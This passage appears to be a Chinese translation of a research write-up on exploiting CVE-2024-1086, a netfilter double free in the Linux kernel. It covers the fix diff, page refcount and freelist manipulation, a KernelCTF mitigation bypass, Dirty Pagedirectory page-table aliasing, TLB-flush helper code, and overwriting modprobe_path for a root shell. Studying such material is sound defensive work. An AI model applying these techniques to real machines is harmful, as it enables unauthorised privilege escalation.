3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 当 skb 触发链时遍历现有规则
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;

for (; s < e->num_hook_entries; s++) {
// 恶意规则:verdict = 0xffff0000
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

// 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
// 双重释放的第一次释放
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);

// NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;

// 返回 NF_ACCEPT(继续处理数据包)
return ret;

// [省略] 其他判决情况
default:
WARN_ON_ONCE(1);
return 0;
}
}

return 1;
}

代码块 3.2.3:NF_HOOK() 函数用 C 语言编写,当成功时调用回调函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk, 
struct sk_buff *skb, struct net_device *in, struct net_device *out,
int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
// 导致调用 nf_hook_slow()
int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);

// 如果 skb 通过了规则,处理 skb,并导致双重释放
if (ret == NF_ACCEPT)
ret = okfn(net, sk, skb);

return ret;
}

3.3. 漏洞的影响与利用

如前所述,这个漏洞在正确的代码路径被命中时,会给我们留下一个非常强大的双重释放原语。双重释放影响 sk_buff 对象(位于 skbuff_head_cache slab 缓存中),以及一个动态大小的 sk_buff->head 对象,该对象可以从 kmalloc-256 到从伙伴分配器直接分配的 order 4 页(65536 字节),具体取决于 IPv4 数据包(甚至可能更多,如 IPv6 jumbo 数据包)。

sk_buff->head 对象通过 __alloc_skb() 中的类似 kmalloc 的接口(即 kmalloc_reserve())来分配。这使得我们可以动态分配对象的大小。因此,我们可以从 slab 分配器中分配 256 字节大小的对象,甚至从伙伴分配器中分配 65536 字节的完整页面。有关这部分的功能概述,请参考背景信息部分中的页面分配小节。

sk_buff->head 对象的大小直接受到网络数据包大小的影响,因为该对象包含了数据包的内容。因此,如果我们发送一个大小为 40 KiB 的数据包,内核将会直接从伙伴分配器分配一个 4 级页面。

在尝试重现漏洞时,即使所有缓解措施被禁用,内核也可能会崩溃。这是因为当 skb 被释放时,其某些字段(如指针)会被破坏。因此,我们应该尽量避免使用这些字段。幸运的是,我找到了一种方法可以绕过所有可能导致崩溃或常见错误的使用场景,并获得一个高度可靠的双重释放原语。我将在概念验证部分的相应小节中对此进行详细说明。

3.4. 漏洞修复

当我向内核开发者报告该漏洞时,我提出了自己的修复方案,但遗憾的是该方案在 netfilter 栈中引入了一个特定的破坏性更改。

幸运的是,子系统的其中一位维护者提出了他们自己的优雅修复方案。这个修复方案是在 netfilter API 中对来自用户空间的输入进行清理,防止恶意的裁决(verdict)被添加。具体的修复使得内核完全不允许用户空间输入带有正数值的 drop 错误。维护者提到,如果未来需要这种行为,应该只允许 n <= 0drop 错误,以防止类似的漏洞出现。这是因为像 1 这样的正数 drop 错误会与 NF_ACCEPT 重叠。

此外,这个漏洞被分配了编号 CVE-2024-1086(在 Linux 内核成为 CNA 并破坏 CVE 含义之前)。

代码块 3.4.1:CVE-2024-1086 的描述。

1
2
3
4
5
A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation.

The nft_verdict_init() function allows positive values as drop error within the hook verdict, and hence the nf_hook_slow() function can cause a double free vulnerability when NF_DROP is issued with a drop error which resembles NF_ACCEPT.

We recommend upgrading past commit f342de4e2f33e0e39165d8639387aa6c19dff660.

Linux 内核的 netfilter: nf_tables 组件中存在一个使用后释放(use-after-free)漏洞,可以被利用来实现本地权限提升。

nft_verdict_init() 函数允许在钩子裁决中使用正值作为 drop 错误,因此当 NF_DROP 被发出且具有类似于 NF_ACCEPTdrop 错误时,nf_hook_slow() 函数会导致双重释放漏洞。

建议升级至提交号 f342de4e2f33e0e39165d8639387aa6c19dff660 之后的版本。

代码块 3.4.2:nft_verdict_init() 内核函数修复漏洞的代码差异。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10988,16 +10988,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));

switch (data->verdict.code) {
- default:
- switch (data->verdict.code & NF_VERDICT_MASK) {
- case NF_ACCEPT:
- case NF_DROP:
- case NF_QUEUE:
- break;
- default:
- return -EINVAL;
- }
- fallthrough;
+ case NF_ACCEPT:
+ case NF_DROP:
+ case NF_QUEUE:
+ break;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
@@ -11032,6 +11026,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,

data->verdict.chain = chain;
break;
+ default:
+ return -EINVAL;
}

desc->len = sizeof(data->verdict);

您可以在 kernel lore 网站上了解更多关于修复的信息:[PATCH nf] netfilter: nf_tables: reject QUEUE/DROP verdict parameters

4. 技术

4.1 页面引用计数操控

漏洞利用所需的第一项技术是操控页面引用计数。当我们尝试使用专用 API 函数在内核中对页面进行双重释放时,内核将检查该页面的引用计数:

代码块 4.1.1__free_pages() 内核函数的 C 代码,包含原始注释。

1
2
3
4
5
6
7
8
9
10
11
void __free_pages(struct page *page, unsigned int order)
{
/* 在释放引用前获取 PageHead */
int head = PageHead(page);

if (put_page_testzero(page))
free_the_page(page, order);
else if (!head)
while (order-- > 0)
free_the_page(page + (1 << order), order);
}

在释放页面之前,引用计数通常为 1(除非它是共享的,或者有其他情况,则引用计数会更高)。如果页面的引用计数在减一后低于 0,则它将拒绝释放该页面(put_page_testzero() 将返回 false)。这意味着我们不应该能够双重释放页面……除非?

敏锐的读者会注意到,在引用计数变为 0 后,多个子页面仍然会被释放,直到 order-- == 0。然而,在第一次释放页面后,页面的 order 会设置为 0。因此在第二次释放时,由于 order-- == -1,将不会释放任何页面。我们将在“设置页面 order 为 0 的技术”部分滥用这一事实,将双重释放的页面转换为 order 为 0。

在双重释放的情况下:当我们第一次释放页面时,引用计数会减少为 0,因此页面会被释放,因为上述代码允许这样做。然而,当我们尝试第二次释放该页面时,引用计数会减少为 -1,并且不会被释放,因为引用计数不等于 0,甚至可能会在启用了 CONFIG_DEBUG_VM 的情况下引发 BUG()

那么,我们如何双重释放页面呢?很简单:在第二次释放之前再次分配该页面,因为这样一来,看起来就像是正常释放了一个页面,而不是双重释放。这可以是具有相同大小的任何对象,例如一个 slab 或页表(在这个漏洞利用中我使用了它)。

最简单的形式下,这项技术的实现代码如下所示:

代码块 4.1.2:自定义内核模块的 C 代码,包含描述页面引用计数的注释。

1
2
3
4
5
6
7
8
9
10
11
12
static void kref_juggling(void)
{
struct page *skb1, *pmd, *pud;

skb1 = alloc_page(GFP_KERNEL); // 引用计数 0 -> 1
__free_page(skb1); // 引用计数 1 -> 0
pmd = alloc_page(GFP_KERNEL); // 引用计数 0 -> 1
__free_page(skb1); // 引用计数 1 -> 0
pud = alloc_page(GFP_KERNEL); // 引用计数 0 -> 1

pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}

从漏洞利用后的清理方面来看,这非常简单:只需任意释放两个对象,因为内核会因为引用计数原因而拒绝双重释放页面。:-)

4.2 页面空闲列表条目从 order 4order 0

当通过 __do_kmalloc_node() 分配对象时(例如 skb),分配对象的大小会与 KMALLOC_MAX_CACHE_SIZE(最大 slab 分配器大小)进行比较。如果对象大于此值,将使用页面分配器而不是 slab 分配器。这在我们希望确定性地释放像 skb 数据这样的页面,并使用相同的算法和空闲列表分配像 PTE 页面这样的页面时非常有用。然而,KMALLOC_MAX_CACHE_SIZE 的值相当于 PAGE_SIZE * 2,这意味着对于大于 order 1(2 页,或 8096 字节)的分配,kmalloc 将使用页面分配器。

但不幸的是,一些我们可能想要目标化的对象仅由页面分配器分配,而这些对象仍然落在 slab 分配器的大小范围内。例如,开发者可能会使用 alloc_page() 而不是 kmalloc(4096),因为这样可以节省开销。一个例子是 PTE 页面(或任何其他页表页面),它使用 order 0(1 页,或 4096 字节)的页面分配。

如果我们双重释放一个由 slab 分配器处理的 4096 字节对象(即 order==0 页),它会进入 slabcaches,而不是进入 pagecache。因此,为了在 order==0 空闲列表中双重分配页面,我们需要将 order 4(16 页)的空闲列表条目转换为 order 0(1 页)的空闲列表条目。

幸运的是,我找到两种方法可以用 order==4 页的空闲列表条目分配 order==0 页。

4.2.1 清空 PCP 列表

此方法利用了 PCP 分配器本质上是一个面向 buddy 分配器的每个 CPU 的空闲列表的事实。当其中一个 PCP 空闲列表为空时,它会从 buddy 分配器中重新填充页面。

有关页面分配过程的功能概述(包括 if 语句、slab 分配器和 buddy 分配器),请查看背景部分中的页面分配子部分。

插图 4.2.1.1:将页面 order 设置为 0 的内存操作时间线。

重新填充时,会以 count = N/order 页对象的形式进行批量操作。因此,rmqueue_bulk() 函数(用于重新填充)从 buddy 分配器中分配了 count 页,orderorder。当从 buddy 分配器中分配页面时,它会遍历 buddy 页空闲列表,如果 buddy 空闲列表条目的 order >= order,那么它会返回此页面进行重新填充。如果 buddy 空闲列表条目的 order > order,则 buddy 分配器将在内部将页面拆分。

请注意,我们的漏洞利用双重释放的页面 order == 4,并且需要用 order == 0PCP 页填充这些页面。当我们释放它时,order == 4 的页面将被添加到 buddy 空闲列表中。对于我们的漏洞利用,我们希望将一个 order == 0 页放置在这 16 个页面中,因为 order == 4 的页面将被双重释放。order == 0 页面的分配是通过具有每个 order 空闲列表的 PCP 分配器进行的。然而,PCP 重新填充机制会使用任何合适的 buddy 页面。因此,我们可以将 16 个 PTE 页分配到双重释放的 order == 4 页中。

如前所述,要触发此机制,我们必须首先通过喷射页面分配来排空目标 CPU 的 PCP 空闲列表。在我的漏洞利用中,我通过喷射 PTE 页面来实现这一点,这直接与 Dirty Pagedirectory 技术相关。由于我们无法确定 PCP 空闲列表是否已排空,我们需要假设喷射的对象之一已分配到双重释放的对象中。因此,我喷射 PTE 对象,以便 PTE 对象占据双重释放的 buddy 页中的一个位置。如果我想分配一个 PMD 对象,我会喷射 PMD 对象,以此类推。

空闲列表中的对象数量因系统和资源使用情况而异。对于这个漏洞利用,我使用了 16000 个 PTE 对象,这在我遇到的所有情况下都足以排空空闲列表。

代码块 4.2.1.2rmqueue_bulk() 内核函数的 C 代码,用于重新填充 PCP 空闲列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
unsigned long flags;
int i;

spin_lock_irqsave(&zone->lock, flags);
for (i = 0; i < count; ++i) {
struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
if (unlikely(page == NULL))
break;

list_add_tail(&page->pcp_list, list);
// [snip] 设置统计信息
}

// [snip] 设置统计信息
spin_unlock_irqrestore(&zone->lock, flags);

return i;
}
4.2.2 竞态条件(已过时)

此技术已过时,但曾用于 kernelctf 漏洞利用。

第一次 free() 操作将页面附加到正确的空闲列表,并将页面的 order 设置为 0。然而,当执行双重释放(第二次 free)时,页面将被添加到 order 0 的空闲列表中,因为这是该页面的 order。通过这种方式,我们可以将 order == 4 的页面添加到 order == 0 的空闲列表中,使用双重释放原语。

插图 4.2.2.1:将页面 order 设置为 0 的内存操作时间线。


不幸的是,此技术存在竞态条件。当在没有拦截分配的情况下第二次释放页面时(free; free; alloc; alloc),页面的引用计数会下降到 0 以下,并且不会允许双重释放,因此我们需要进行页面引用计数操控(free; alloc; free; alloc)。然而,第二次释放时的 order 将不会为 0,因为 alloc 会将 order 设置为原来的数量(即 order 4)。现在,似乎不可能将页面转换为 order 0,因为这将导致引用计数为 -1,或者页面保持原始顺序(正常情形)。于是我们引入了竞态条件。

当页面被释放时,其 order 是通过值传递的。这意味着如果在第二次释放期间双重释放的页面被分配,它将被分配到 order 0 的空闲列表中,并且引用计数将递增,因此不会变为 -1,而是保持为 0。如你所想,竞态窗口非常小,因为它只包含一些函数调用。然而,如果 order 为 0,free_large_kmalloc() 函数会向 dmesg 打印一个内核警告(WARN())。通常情况下,这个窗口只有 1ms,但对于像 QEMU 虚拟机(具有串行终端)这样的虚拟化系统,窗口时间为 50ms-300ms,这足够多次命中。

现在我们已成功将页面附加到 order 0 的空闲列表,这意味着我们现在可以使用任何 order 0 页面的分配来覆盖该页面。我们还可以通过释放该对象并将其重新分配为新对象来转换第一个页面引用(通过第一次释放获得的引用),因为页面的 order 将会保持不变。如果我们正在使用页面引用计数操控,我们希望释放占据第一个引用的对象并重新分配它。

4.3 直接释放 skb 而不使用 UDP/TCP 堆栈

当我们避免空闲列表的损坏检查时,可能希望在任意时间直接释放某个 skb,以使我们的漏洞利用以非常快速、同步的方式运行,从而减少损坏的可能性。

注意,这种行为通常针对本地 UDP 数据包进行,但在双重释放中的第一次释放后,skb 会损坏,这意味着我不能使用 TCP 或 UDP 堆栈来实现此目的,因为它们利用了损坏的字段。

已过时(KERNELCTF 漏洞利用):或者,我们可能希望在特定的 CPU 上释放某个 skb 以绕过双重释放检测,因为 sk_buff 的空闲列表是每个 CPU 独立的。这意味着如果我们在 2 个 CPU 上连续释放同一个对象,双重释放将不会被检测到。我们无法“将上一个 skb 发送到月球”(即分配一个永不过期的 skb)来防止双重释放检测,因为这会通过更改指针或从空闲列表中分配相同的指针来改变 skb 头页,从而无论如何都无法防止双重释放。

幸运的是,IP 数据包分片及其分片队列的存在解决了这个问题。当一个 IP 数据包正在等待其所有分片被接收时,这些分片被放入 IP 分片队列(红黑树)中。当接收到的分片具有完整 IP 数据包的预期长度时,数据包会在最后一个分片来自的 CPU 上重新组装。请注意,该 IP 分片队列有一个超时时间为 ipfrag_time 秒,该超时时间将释放所有 skb。如何更改该超时时间将在后续子章节中提到。

如果我们希望将 skb 空闲列表中的条目 skb1 从 CPU 0 切换到 CPU 1,可以将其分配为一个 IP 分片加入到 CPU 0 上的新 IP 分片队列中。然后,我们在 CPU 1 上发送 skb2 ——该队列的最后一个 IP 分片。这样就会使 skb1 在 CPU 1 上被释放。

这种相同的行为可以用于随意释放 skb,而无需使用 UDP/TCP 代码。这对于漏洞利用非常有利,因为双重释放的包在第一次释放时就会被损坏。如果使用 UDP 代码,内核会因为各种恶劣的行为而崩溃。

插图 4.3.1:切换 `skb` 的每 CPU 空闲列表的活动时间线

不幸的是,IP 分片队列的最终大小由 skb->len 决定,而在释放后由于与 slab 缓存的 s->random 重叠而完全随机化。有关详细信息,请查看下一节。这意味着实际上很难完成 IP 分片队列,因为它会使用随机的预期长度。

因此,我提出了一种不同的策略:不完成 IP 分片队列,而是通过无效输入使其抛出错误。这会导致 IP 分片队列中的所有 skb 在产生错误的 skb 所在的 CPU 上立即被释放,而不考虑 skb->len

当你自己实现这种技术时,注意如果不在释放 skb1 和分配 skb2 之间追加“无辜”的 skb 对象,则会触发双重释放检测(CONFIG_FREELIST_HARDENED)。出于演示目的,这些内容被省略在图表中,但已包含在 PoC 部分。

4.3.1 修改 skb 的最大存活时间

根据不同的使用场景,我们可能希望 skb 存活的时间更长或更短。幸运的是,内核提供了一个用户态接口,可以通过 /proc/sys/net/ipv4/ipfrag_time 配置 IP 分片队列的超时时间。这是针对每个网络命名空间的,因此可以由无特权用户在其自己的网络命名空间中设置。

当我们使用 IP 分片重新组装一个分割的 IP 数据包时,内核将在 ipfrag_time 秒后发出超时。如果我们将 ipfrag_time 设置为 999999 秒,内核将让该分片 skb 存活 999999 秒。相反,如果我们希望快速分配和释放一个随机 CPU 上的 skb,我们可以将其设置为 1 秒。

代码块 4.3.1.1:用于设置 ipfrag_time 变量的用户态 C 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
static void set_ipfrag_time(unsigned int seconds)
{
int fd;

fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
if (fd < 0) {
perror("open$ipfrag_time");
exit(1);
}

dprintf(fd, "%u\n", seconds);
close(fd);
}

4.4 绕过 KernelCTF skb 损坏检查

在 KernelCTF 的缓解实例中,我唯一需要主动绕过的缓解措施是空闲列表损坏检查,特别是检查正在分配的对象中空闲列表的下一个指针是否损坏。

不幸的是,空闲列表的下一个指针与 skb->len 重叠,因为 skbuff_head_cache->offset == 0x70。这意味着空闲列表的下一个/上一个条目的指针存储在 sk_buff+0x70,这恰好与 skb->len 重叠。在线资料表明,内核开发人员通常将 s->offset 设置为 slab 大小的一半,以避免越界写入能够覆盖空闲列表指针,这在过去曾导致通过越界漏洞轻松提权。

在第一次释放 skb 后,skb->len 字段会被部分覆盖为下一个指针的值。在 skb 第二次释放之前的代码中,skb->len 字段会因数据包解析而被修改。因此,在第二次释放 skb 之前,空闲列表的下一个指针就已经被损坏。

当我们尝试使用 slab_alloc_node() 分配第一次释放的 skb 的空闲列表条目(在发生上述损坏之后)时,释放的对象中的空闲列表的下一个指针会在 freelist_ptr_decode() 调用中被标记为损坏:

代码块 4.4.1:内核函数 freelist_pointer_corrupted() 的 C 代码(KernelCTF 缓解实例),包含原始注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
/*
* 如果 freepointer 解码为 0,则使用 0 作为 slab_base,以便
* 下面的检查始终通过 (0 & slab->align_mask == 0)。
*/
unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;

/*
* 这验证了 SLUB freepointer 是否指向 slab 之外。既然此时我们
* 基本上可以免费完成这项操作,它还会检查指针对齐看起来是否大致合理。
* 然而,我们可能不希望在此处承担适当的除法成本,
* 因此我们只是进行一个简单的检查,检查在大小中清除的底部位是否也在指针中清除。
* 因此,对于 kmalloc-32,它执行完美的对齐检查,但对于 kmalloc-192,它仅检查指针是否是 32 的倍数。
* 这可能需要重新考虑——这是一种很好的权衡,还是应去掉这一部分,或者我们想要一个准确的对齐检查
* (并且我们能否使其在相对于安全性改进的可接受性能成本下工作——可能不行)?
*/
return CHECK_DATA_CORRUPTION(
((unsigned long)decoded & slab->align_mask) != slab_base,
"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
ptr.v, decoded, slab_base, slab->align_mask);
#else
return false;
#endif
}

经过一些研究,我发现这个检查不会被回溯执行:当我们在具有损坏空闲列表条目的对象之上释放另一个对象时,缓解措施不会检查前一个对象是否具有损坏的下一个指针。这意味着我们可以通过在损坏的对象之后释放另一个 skb 来屏蔽无效的下一个指针,然后再使用旧 skb 的数据分配该 skb。这基本上掩盖了原始损坏的 skb,同时仍然可以重复分配 skb 数据。

下图试图通过对一个 skb 对象执行双重释放来解释这种现象,就像这篇博文中的漏洞利用一样。

KernelCTF 的开发者可以通过在释放时检查空闲列表头的下一个指针是否损坏(而不仅仅是在分配时检查)来缓解这一问题。

4.5. 脏页目录(Dirty Pagedirectory)

4.5.1. 思路

脏页表(Dirty Pagetable)是我迄今为止遇到的最有趣的技术之一。当我在研究现成的双重释放漏洞利用技术时,脏页表浮现出来,它似乎是完美的技术。

但是,我意识到在我的双重释放漏洞上下文中,对 PTE 页面进行持续写操作会是一个不太理想的体验。我无法找到任何允许被完全覆盖用户数据的页面大小对象,同时它们还必须在与 PTE 页面相同的页面空闲列表中。由于稳定性和兼容性相关的原因,我不想使用跨缓存攻击,因为这会给漏洞利用增加更多复杂性。

接下来我花了一整晚头脑风暴,得到了以下想法:考虑到我在与 PTE 相同的空闲列表中有一个双重释放的页面——如果能够跨进程进行 PTE 双重分配,比如 sudo 和漏洞利用进程会怎样?这将实质上在两个完全不相关的进程之间实现内存共享(将漏洞利用的虚拟地址指向 sudo 的物理地址)。因此,理论上可以操纵以 root 权限运行的进程中的应用数据,从而利用它获得 root shell。考虑到进程启动时会发生其他分配,这种方法有些不切实际,因此在空闲列表上需要非常好的位置管理。

这给了我下一个想法:如果能够双重分配一个漏洞利用的 PTE 页面和一个漏洞利用的 PMD 页面,这将意味着 PMD 将反向引用 PTE 的页面(作为 PTE 值),并因此将 PTE 的用户页面解析为 PTE。

幸运的是,这种 PMD+PTE 方法是可行的。其他方法如 PUD+PMD 也被确认可行,甚至 PGD+PUD 可能也可以用。唯一的区别在于同时镜像的页数量:PTE+PMD 可以镜像 1GiB 页,PUD+PMD 可以镜像 512GiB 页,PGD+PUD 则可能是 256TiB 页(如果这可能实现)。请注意,这对内存使用有影响,镜像过多的内存可能会导致系统出现内存不足(OOM)。

此外,在选择 PMD+PTE 和 PUD+PMD 之间时,还需要考虑如何将脏页目录集成到漏洞利用中。我在 PTE 喷射部分中对此进行了解释,但通常来说,PMD+PTE 应该是最佳选择。

4.5.2. 技术细节

脏页目录技术允许根据物理地址对任何内存页面进行无限制、稳定的读/写操作。它可以通过设置自己的权限标志来绕过权限检查。这允许我们的漏洞利用对只读页面进行写操作,比如那些包含 modprobe_path 的页面。

在本节中,我解释了 PUD+PMD 的实现,但它与 PoC 漏洞利用中的 PMD+PTE 策略大致相同。

该技术本质上非常简单:使用双重释放之类的漏洞,分配一个页面上层目录(PUD)和一个页面中间目录(PMD)到相同的内核地址。虚拟内存区域(VMA)应是分开的,以避免冲突(即不要在 PUD 的区域内分配 PMD)。然后,在 PMD 范围内的页面中写入一个地址,并在 PUD 范围对应页面中读取该地址。下图尝试解释这一现象(与下面的示例互为补充)。

插图 4.5.2.1:脏页目录技术的层次结构概述,包括所需的内存操作。

为了更实际地理解这一点,让我们想象以下场景:臭名昭著的 modprobe_path 变量存储在物理帧号(PFN)/物理地址 0xCAFE1460 处。我们应用脏页目录:通过 mmap 对用户态 VMA 范围 0x8000000000 - 0x10000000000mm->pgd[1])和 0x40000000 - 0x80000000mm->pgd[0][1])分别进行 PUD 和 PMD 页的双重分配。

这意味着 mm->pgd[1][x][y] 始终等于 mm->pgd[0][1][x][y],因为 mm->pgd[1]mm->pgd[0][1] 都引用同一个地址/对象,因为我们对它们进行了双重分配。可以观察到 mm->pgd[0][1][x][y] 是用户态页面,而 mm->pgd[1][x][y] 是 PTE。这意味着专用的 PUD 区域会将 PMD 区域的用户态页面解释为 PTE。

现在,为了读取物理页面地址 0xCAFE1460,我们将 PUD 区域 PTE 的第一个条目设置为 0x80000000CAFE1867(附加了 PTE 标志),通过将该值写入 0x40000000(即页面 mm->pgd[0][1][0][0]+0x0 的用户态地址)。根据上述关联规则,这意味着我们将该值写入页面 mm->pgd[1][0][0]+0x0 的 PTE 地址,因为 mm->pgd[1][0][0] == mm->pgd[0][1][0][0]。现在,我们可以通过读取页面 mm->pgd[1][0][0][0] 来反引用这个恶意 PTE 值(最后的索引为 0,因为我们将其写入了 PTE 的前 8 个字节:注意上面的 0x0)。这等同于用户态页面 0x8000000000

由于 PTE 现在从用户态发生了变化,我们需要刷新 TLB,因为 TLB 中包含了过时的记录。一旦完成,printf('%s', 0x8000000460); 应该打印 /sbin/modprobe 或者 modprobe_path 的值。当然,我们现在可以通过执行 strcpy((char*)0x8000000460, "/tmp/privesc.sh"); 来覆盖 modprobe_path(有 KMOD_PATH_LEN 字节的填充空间),并获得一个 root shell。不需要刷新 TLB,因为在写入地址时,PTE 本身并没有发生变化。

注意我们在 PTE 值 0x80000000CAFE1867 中设置了读/写标志。请注意,虚拟地址 0x8000000460 和 PTE 值 0x80000000CAFE1867 中的 0x8 彼此没有关系:在 PTE 值中它是一个被激活的标志,而虚拟地址恰好以 0x8 开头。

总结来说:将 PTE 值写入 VMA 范围 0x40000000 - 0x80000000 中的用户态页面,并通过读取和写入 0x8000000000 - 0x10000000000 范围内的对应用户态页面进行解引用。

4.5.3. 缓解措施

我使用了这种技术绕过了当前内核中的许多缓解措施(包括虚拟 KASLR、KPTI、SMAP、SMEP 和 CONFIG_STATIC_USERMODEHELPER),尽管其他缓解措施在 PoC 漏洞利用中通过一些简陋的工程方法被绕过。

当此技术被同行审查时,我被问及它是如何绕过 SMAP 的。答案很简单:SMAP 仅适用于虚拟地址,而不适用于物理内存地址。PTE 在 PMD 中是通过其物理地址引用的。这意味着当 PMD 中的 PTE 条目是用户态页面时,SMAP 不会检测到它,因为它不是虚拟地址。因此,PUD 区域可以自由地将用户态页面用作 PTE,而不会受到 SMAP 的干扰。

可以通过在表条目中设置一个类型来检测 PMD 是否分配在 PUD 的位置上,从而缓解这种技术的影响,因为我们无法伪造 PMD 和 PUD 自身的条目。例如,可以为 PTE 设置类型 0,PMD 设置类型 1,PUD 设置类型 2,P4D 设置类型 3,PGD 设置类型 4,等等。然而,这需要在每个表条目中设置 2log(levels) 个比特位(启用了 P4D 时为 3 个比特位,因为 levels=5),这将牺牲未来可能用于功能扩展的空间,并且运行时的检查可能会引入大量的开销,因为每次内存访问都必须检查每个级别。此外,这种缓解措施仍然允许强制内存共享(即将漏洞利用的 PTE 页面与以 root 运行的 sudo 的 PTE 页面重叠)。

4.6. 为脏页目录喷射页表

您可能注意到上面的脏页目录部分提到了 PUD+PMD,而 PoC 使用的是 PMD+PTE。这与漏洞利用排干 PCP 列表以便在双重释放的地址中分配 PTE 相关。

首先,页表是由内核按需分配的,因此如果我们对虚拟内存区域进行了 mmap,则不会进行分配。只有当我们实际读取/写入该 VMA 时,才会为被访问的页面分配所需的页表。例如,当分配 PUD 时,PMD、PTE 和用户态页面也会被分配;而当分配 PTE 时,目标用户态页面也会被分配。

原始的脏页表论文提到——非常优雅地——您可以通过先分配父级(例如 PMD)来喷射特定的页表级别,因为一个父级(如 PMD)包含 512 个子级(PTE)。因此,如果我们想要喷射 4096 个 PTE,我们需要预先分配 8 个(4096/512 = 8)PMD,之后再分配 PTE。

如果我们喷射 PMD,PTE 也将被分配——它们来自同一个空闲列表。这意味着喷射内容中有 50% 是 PMD,50% 是 PTE。如果我们喷射 PUD,那么会是 33% PUD、33% PMD 和 33% PTE。因此,如果我们喷射 PTE,100% 都是 PTE,因为我们没有进行其他分配。基于这一点,我们在漏洞利用中使用 PMD+PTE 而不是 PUD+PMD,并且喷射 PMD 意味着稳定性降低 50%。

请注意,用户态页面本身是从不同的空闲列表中分配的(迁移类型 migratetype 0,而非 migratetype 1)。

4.7. TLB 刷新

TLB 刷新是指移除或使转换后备缓冲(TLB)中的所有条目失效(虚拟地址到物理地址缓存)。为了使用脏页目录技术可靠地扫描地址,我们需要提出一种满足以下要求的 TLB 刷新技术:

  1. 不修改现有进程页表
  2. 必须 100% 有效
  3. 必须快速
  4. 可以从用户态触发
  5. 必须在不考虑 PCID 的情况下工作

基于这些要求,我提出了以下想法:在分配 PMD 和 PTE 内存区域时,应该将它们标记为共享,然后使用 fork() 创建一个子进程,让子进程执行 munmap() 来刷新 TLB,并让子进程进入睡眠状态(以避免如果底层漏洞利用不稳定导致崩溃)。最终得到如下函数:

代码块 4.7.1:用户态函数的 C 代码,刷新某个虚拟内存范围的 TLB。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void flush_tlb(void *addr, size_t len)
{
short *status;

status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}

SPINLOCK(*status == FLUSH_STAT_INPROGRESS);

munmap(status, sizeof(short));
}

锁定机制防止父进程在子进程刷新 TLB 之前继续执行。如果子进程执行退出而不是睡眠,则可以删除该锁定机制,因为父进程可以监视子进程的状态。

这种 TLB 刷新方法在刷新页表和页目录时始终有效。它已经在最近的 AMD CPU 和 QEMU 虚拟机中进行了测试。由于在这种使用情况下刷新必须从内核触发,因此它应该是与硬件无关的。

4.8. 处理物理 KASLR

物理内核地址空间布局随机化(Physical KASLR)是指对 Linux 内核的物理基址进行随机化。通常来说,这并不重要,因为几乎所有漏洞利用都使用虚拟内存(因此必须处理虚拟 KASLR)。

然而,由于我们漏洞利用的特性——它使用了脏页目录——我们需要获取目标内存的物理地址。

4.8.1 获取物理内核基址

通常来说,这意味着我们需要暴力搜索整个物理内存范围,以找到目标物理地址。

物理内存指的是所有可用形式的物理内存地址:例如,在笔记本电脑上,16GiB 的内存条加上 1GiB 的内置 MMIO,总共有 17GiB 的物理内存。

不过,Linux 内核的一个特点是,如果设置了 CONFIG_RELOCATABLE=y,则物理内核基址必须对齐到 CONFIG_PHYSICAL_START(即 0x100'0000,即 16MiB)。如果 CONFIG_RELOCATABLE=n,则物理内核基址将恰好位于 CONFIG_PHYSICAL_START。在这种技术中,我们假设 CONFIG_RELOCATABLE=y,因为如果我们知道地址,就不需要暴力破解物理 KASLR。

如果设置了 CONFIG_PHYSICAL_ALIGN,将使用该值作为对齐,而不是 CONFIG_PHYSICAL_START。请注意,CONFIG_PHYSICAL_ALIGN 通常较小,如 0x20'0000,即 2MiB,这意味着需要暴力破解更多地址(比使用 0x100'0000 对齐的情况多 8 倍)。

